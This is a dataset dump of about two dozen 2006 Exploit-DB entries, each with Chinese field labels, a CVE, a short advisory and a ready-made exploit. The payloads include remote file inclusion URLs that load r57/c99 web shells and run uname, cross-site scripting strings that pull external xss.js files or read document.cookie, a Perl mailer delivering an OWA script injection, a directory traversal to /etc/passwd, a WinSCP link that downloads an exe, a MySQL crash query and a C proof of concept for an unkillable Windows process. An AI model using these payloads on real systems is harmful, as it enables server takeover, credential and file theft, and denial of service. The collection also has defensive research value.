QLWD/code_shield huggingface dataset:
标题: mcGuestbook 1.3 - 'admin.php?lang' Remote File Inclusion EDB-ID: 28035 CVE: 2006-3175 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/18476/info

mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin.php?lang=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28035
标题: Cisco Secure ACS 2.3 - 'LoginProxy.cgi' Cross-Site Scripting EDB-ID: 28030 CVE: 2006-3101 类型: REMOTE 平台: UNIX 发布日期: 2006-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/18449/info

Cisco Secure ACS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Cisco Secure ACS version 2.3 for UNIX; other versions may also be vulnerable.

POST http://www.example.com:80/CScgi/LogonProxy.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://10.17.12.184/cs/index.html
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
Host: 10.17.12.184
Content-Length: 33
Pragma: no-cache
Server=0.0.0.0&error=<script>alert("help")</script>

http://www.example.com/CScgi/LogonProxy.cgi?Server=0.0.0.0&error=<script>alert("help")</script>
http://www.example.com/CScgi/LogonProxy.cgi?Server=10.17.12.184/Logon?null&SSL=<script>alert('help')</script>
http://www.example.com/CScgi/LogonProxy.cgi?Ok=<script>alert('help')</script> URL: https://www.exploit-db.com/exploits/28030
标题: Andy Mack 35mm Slide Gallery 6.0 - 'popup.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28021 CVE: 2006-3036 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18414/info
 
35mmslidegallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 6; other versions may also be vulnerable.
 
http://www.example.comr/lumet/album/popup.php?w=&#039;><script>alert(10)</script>
http://www.example.com/lumet/album/popup.php?h=&#039;><script>alert(10)</script>
http://www.example.com/lumet/album/popup.php?t=&#039;><script>alert(10)</script> URL: https://www.exploit-db.com/exploits/28021
标题: MySQL Server 4/5 - Str_To_Date Remote Denial of Service EDB-ID: 28026 CVE: 2006-3081 类型: DOS 平台: LINUX 发布日期: 2006-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18439/info

MySQL is susceptible to a remote denial-of-service vulnerability. This issue is due to the database server's failure to properly handle unexpected input.

This issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.

Attackers may exploit this issue in conjunction with latent SQL-injection vulnerabilities in other applications.

Versions of MySQL prior to 4.1.18, 5.0.19, and 5.1.6 are vulnerable to this issue.


The following SQL statement will demonstrate this issue:

select str_to_date( 1, NULL ); URL: https://www.exploit-db.com/exploits/28026
标题: ISPConfig 2.2.3 - Multiple Remote File Inclusions EDB-ID: 28027 CVE: 2006-3042 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18441/info

ISPConfig is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 2.2.3; other versions may also be vulnerable.

The vendor reports a properly installed instance of ISPConfig is not vulnerable to these issues.

http://www.example.com/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go_info[isp][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_info[server][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/web/login/login.php?go_info[server][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.php?go_info[server][classes_root]=[cmd_url]/ URL: https://www.exploit-db.com/exploits/28027
标题: CEScripts (Multiple Scripts) - Cross-Site Scripting EDB-ID: 28017 CVE: 2006-3052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18402/info

CEScripts scripts are prone to multiple cross-site scripting vulnerabilities because they fail to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect CEScripts Car Classifieds, Event Registration(all versions), Fast Menu Restaurant Ordering v1.0, and Home Rental Script (all versions); other scripts may also be vulnerable.

http://www.example.com/car_classifieds/listings/index.php?pag=car_view&car_id=32&offset=0&ord=1&make_id=63&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/car_classifieds/listings/index.php?pag=car_list&ord=1&make_id=63&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/rsvp3/view-event-details.php?event_id=74&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/rsvp3/event-registration.php?select_events=74&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>&submit=Register
http://www.example.com/fastmenu/index.php?pag=gift_certificate&sel_menu=5&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT>
http://www.example.com/home_rental/index.php?pag=list_properties&act=basket-add&id=17&type=room&ofs=0&day=11&month=6&year=2006&night=1&hotel_id=&show=&sel_menu=&#039;>">&#039;><SCRIPT%20SRC=http://www.example.com/xss.js></SCRIPT> URL: https://www.exploit-db.com/exploits/28017
标题: Andy Mack 35mm Slide Gallery 6.0 - 'index.php?imgdir' Cross-Site Scripting EDB-ID: 28020 CVE: 2006-3036 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18414/info

35mmslidegallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 6; other versions may also be vulnerable.

http://www.example.com/lumet/album/index.php?imgdir=&#039;><script>alert(10)</script> URL: https://www.exploit-db.com/exploits/28020
标题: DoubleSpeak 0.1 - Multiple Remote File Inclusions EDB-ID: 28016 CVE: 2006-3069 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18401/info

DoubleSpeak is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect versions 0.1 and prior; other versions may also be vulnerable.

This BID has been retired.

http://www.example.com/[igloo_Path]/html/index.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a
http://www.example.com/[igloo_Path]/html/faq.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a
http://www.example.com/[igloo_Path]/html/hardware.php?config[private]=http://www.example.com/x.txt?&cmd=uname -a URL: https://www.exploit-db.com/exploits/28016
标题: RahnemaCo - 'page.php' Remote File Inclusion EDB-ID: 28025 CVE: 2006-3315 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/18435/info

RahnemaCo is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/shop/page.php?osCsid=http://yoursite/c99shell.txt? URL: https://www.exploit-db.com/exploits/28025
标题: Five Star Review Script - 'index2.php?sort' Cross-Site Scripting EDB-ID: 28009 CVE: 2006-3061 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18390/info

Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a victim in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/index2.php?pg=2&item_id=11&sort=review.id&#039;>">&#039;><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<"&order=DESC&PHPSESSID=91c137efddf8844a26f5c57a8ca2d57d URL: https://www.exploit-db.com/exploits/28009
标题: Five Star Review Script - 'report.php?item_id' Cross-Site Scripting EDB-ID: 28010 CVE: 2006-3061 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18390/info
 
Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a victim in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/report.php?id=970&item_id=251&#039;>">&#039;><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<" URL: https://www.exploit-db.com/exploits/28010
标题: SixCMS 6.0 - 'list.php' Cross-Site Scripting EDB-ID: 28013 CVE: 2006-3051 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18393/info

SixCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/list.php?page=<script>alert("MajorSecurity")</script> URL: https://www.exploit-db.com/exploits/28013
标题: KAPhotoservice 7.5 - 'edtalbum.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28004 CVE: 2006-2955 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18379/info
  
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/edtalbum.asp?cat=&albumid=1&apage=[XSS] URL: https://www.exploit-db.com/exploits/28004
标题: Baby Katie Media VSReal and VScal 1.0 - 'myslideshow.php?title' Cross-Site Scripting EDB-ID: 28000 CVE: 2006-2986 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18350/info
 
vsREAL and vSCAL are prone to multiple cross-site scripting vulnerabilities. These issues are due to the applications' failure to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/vscal/myslideshow.php?dir=./listings/317/images/&title=listing+317:+1966+Buick+<SCRIPT%20SRC=http://evilsite.com/xss.js></SCRIPT> URL: https://www.exploit-db.com/exploits/28000
标题: WinSCP 3.8.1 - URI Handler Arbitrary File Access EDB-ID: 28007 CVE: 2006-3015 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18384/info

WinSCP is prone to an arbitrary file-access vulnerability. 

An attacker can exploit this issue to upload arbitrary files to a victim user's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects version 3.8.1; earlier versions may also be vulnerable.

<a href="scp://user:password@www.example.com:22/%22%20/console%20/command%20%22lcd%20c:\%22%20%22get%201.exe%22%20exit">download malware.exe</a>
<a href="scp://jelmer@www.example.com:22/%22%20%22/log=c:%5csomefile%22"log</a> URL: https://www.exploit-db.com/exploits/28007
标题: Microsoft Exchange Server 2000/2003 - Outlook Web Access Script Injection EDB-ID: 28005 CVE: 2006-1193 类型: REMOTE 平台: WINDOWS 发布日期: 2006-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/18381/info

Microsoft Exchange Server Outlook Web Access is prone to a script-injection vulnerability.

A remote attacker can exploit this issue by sending a malicious email message to a vulnerable user.

#!/usr/bin/perl

 

use Net::SMTP;

 

my $to = "recipient\@domain.tld";

my $sub = "Watch out - Cross Site Scripting Attack";

my $from = "originator\@domain2.tld";

my $smtp = "mail.example.tld";

 

my $cont = "<img alt='hugo\0abc' src='http://www.example.com/

imagethatdoesnotexist.gif' onError='javascript:alert(document.cookie)'

alt='<s'\0";

 

$smtp = Net::SMTP->new($smtp);

$smtp->mail("$from") || die("error 1");

$smtp->to("$to") || die("error 2");

 

$smtp->data() ;

$smtp->datasend("To: $to\n") ;

$smtp->datasend("From: $from\n") ;

$smtp->datasend("Subject: $sub\n");

$smtp->datasend("Content-Type: text/html\n\n");

 

$smtp->datasend("$cont") ;

$smtp->datasend("\n\n") ;

$smtp->dataend() ;

$smtp->quit() ;

 

print "$cont\n\ndone\n"; URL: https://www.exploit-db.com/exploits/28005
标题: SixCMS 6.0 - 'detail.php' Directory Traversal EDB-ID: 28014 CVE: 2006-3050 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18395/info

SixCMS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/detail.php?template=../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/28014
标题: KAPhotoservice 7.5 - 'album.asp?cat' Cross-Site Scripting EDB-ID: 28002 CVE: 2006-2955 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18379/info

KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/album.asp?cat=[XSS]&albumid=1 URL: https://www.exploit-db.com/exploits/28002
标题: iFoto 0.20 - 'index.php' Cross-Site Scripting EDB-ID: 28011 CVE: 2006-3006 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/18391/info

iFoto is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/?dir=Scene&file=PElGUkFNRSBTUkM9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+PC9JRlJBTUU+ URL: https://www.exploit-db.com/exploits/28011
标题: KAPhotoservice 7.5 - 'albums.asp?albumid' Cross-Site Scripting EDB-ID: 28003 CVE: 2006-2955 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18379/info
 
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 7.5; earlier versions may also be vulnerable.

http://www.example.com/albums.asp?cat=&albumid=[XSS] URL: https://www.exploit-db.com/exploits/28003
标题: Microsoft SMB Driver - Local Denial of Service EDB-ID: 28001 CVE: 2006-2374 类型: DOS 平台: WINDOWS 发布日期: 2006-06-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/18357/info

The Microsoft SMB driver is prone to a local denial-of-service vulnerability.

A local attacker can exploit this issue to create processes that cannot be killed in affected operating systems, potentially denying service to legitimate users and other software on affected computers. This may aid the attacker in further attacks.

////////////////////////////////////////////////////////////////////////////////
///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////////
// Rub�n Santamarta 
// ruben (at) reversemode (dot) com
// http://www.reversemode.com
////////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>


#define MAGIC_IOCTL 0x141047


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


VOID IamAlive()
{
 DWORD i;
 
 for(i=0;i<0x1000;i++)
 {
  Sleep(1000);
  printf("\rI am a Thread and I am alive [%x]",i);
 } 

}


VOID KillMySelf()
{
     
 DWORD junk;
 DWORD *OutBuff;
 DWORD *InBuff;
 BOOL bResult;
 HANDLE hDevice;
 DWORD i;
 
  hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                      NULL, OPEN_EXISTING, 0, NULL);
                      
  if (hDevice == INVALID_HANDLE_VALUE) ShowError();
  
  OutBuff=(DWORD*)malloc(0x18);
  if(!OutBuff) ShowError();
  
  OutBuff[3]=(DWORD)hDevice;
  
  DeviceIoControl(hDevice,
                  MAGIC_IOCTL,
                  0,0,
                  OutBuff,0x18,
                  &junk,
                  (LPOVERLAPPED)NULL);
  // MAIN THREAD ENDING.
}


int main(int argc, char *argv[])
{
    
 LPTHREAD_START_ROUTINE GoodThread;
 DWORD dwThreadId;
 DWORD bResult;
 GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;
 

  printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
  printf("\t(Only for educational purposes)\n");
  printf("..http://www.reversemode.com..\n\n");
  printf("Launching Thread ...");
  
  // PUT YOUR "GOOD" OR "BAD" CODE HERE
  // e.g GoodThread
  CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);  
  
   
  printf("Done\n");
  printf("I am going to dissapear,but I will be with you forever\n");
  printf("(..)\n\n");
  KillMySelf(); // Immortal mode "on" ;)
  
  return(1); 
} URL: https://www.exploit-db.com/exploits/28001
标题: Open Business Management 1.0.3 pl1 - 'group_index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27995 CVE: 2006-3009 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18348/info
 
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
 
 
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.
 
http://obm-host/group/group_index.php?action=search&tf_name=[XSS]
http://obm-host/group/group_index.php?action=search&tf_name=&tf_user=[XSS] URL: https://www.exploit-db.com/exploits/27995
标题: Baby Katie Media VSReal and VScal 1.0 - 'index.php?lid' Cross-Site Scripting EDB-ID: 27999 CVE: 2006-2986 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18350/info

vsREAL and vSCAL are prone to multiple cross-site scripting vulnerabilities. These issues are due to the applications' failure to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/vscal/index.php?page=showlisting&lid=<SCRIPT%20SRC=evilsite.com//xss.js></SCRIPT> URL: https://www.exploit-db.com/exploits/27999
标题: Open Business Management 1.0.3 pl1 - 'list_index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27997 CVE: 2006-3009 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/18348/info
   
Open Business Management is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize HTML and script code from user-supplied input to several parameters before returning to the user.
   
   
An attacker could exploit this vulnerability to inject hostile HTML and script code into the browser session of other users of the application.

http://obm-host/list/list_index.php?action=search&tf_name=[XSS]
http://obm-host/list/list_index.php?action=search&tf_name=&tf_contact=[XSS] URL: https://www.exploit-db.com/exploits/27997